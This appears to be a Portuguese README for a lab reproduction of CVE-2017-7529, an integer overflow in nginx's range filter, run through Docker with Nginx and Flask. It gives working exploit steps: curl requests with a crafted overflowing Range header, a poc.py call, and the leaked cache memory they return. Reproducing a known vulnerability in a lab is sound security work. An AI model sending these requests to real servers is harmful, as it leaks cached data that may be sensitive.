Descrição da CVE-2017-7529

As versões do Nginx desde 0.5.6 até 1.13.2 inclusive são vulneráveis a uma vulnerabilidade de estouro de inteiro no módulo range filter do nginx, resultando no vazamento de informações potencialmente sensíveis desencadeado por uma requisição especialmente elaborada. Fonte: https://nvd.nist.gov/vuln/detail/CVE-2017-7529

Exemplo com Nginx + Flask

Em outras fontes abertas, você pode encontrar informações de que esta vulnerabilidade só pode ser reproduzida com Apache2 e apenas com arquivos de imagem, mas não é esse o caso. Esta vulnerabilidade funciona com qualquer aplicação que seja proxiada através do Nginx. O principal é que o servidor retorne o cabeçalho Accept-Ranges: bytes. Ele pode ser adicionado manualmente à configuração do nginx: proxy_force_ranges on;

Instalação

$ git clone https://github.com/SirEagIe/CVE-2017-7529
$ cd CVE-2017-7529
$ docker build -t cve-2017-7529 .
$ docker run --rm -d -p 8000:80 --name cve-2017-7529 cve-2017-7529

Exploit

Envie uma requisição GET para obter o Content-Length e armazene a resposta em cache. Reenvie a requisição com o cabeçalho Range com o intervalo -n,-(0x8000000000000000-n).

$ curl -i http://localhost:8000/
$ curl -i http://localhost:8000/ -r -533,-9223372036854775275 --output -

Ou use o script poc.py.

$ python3 poc.py http://localhost:8000/ 513

Resultado:

[+] Vulnerable to CVE-2017-7529

--00000000000000000029
Content-Type: text/html; charset=utf-8
Content-Range: bytes -513-19/20

MX*fÿÿÿÿÿÿÿÿõU*fTêû©h
KEY: httpGETlocalhost/
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 20
Server: Werkzeug/1.0.1 Python/3.5.3
Date: Thu, 25 Apr 2024 13:09:09 GMT

<p>Hello, World!</p>
--00000000000000000029
Content-Type: text/html; charset=utf-8
Content-Range: bytes -9223372036854775255-19/20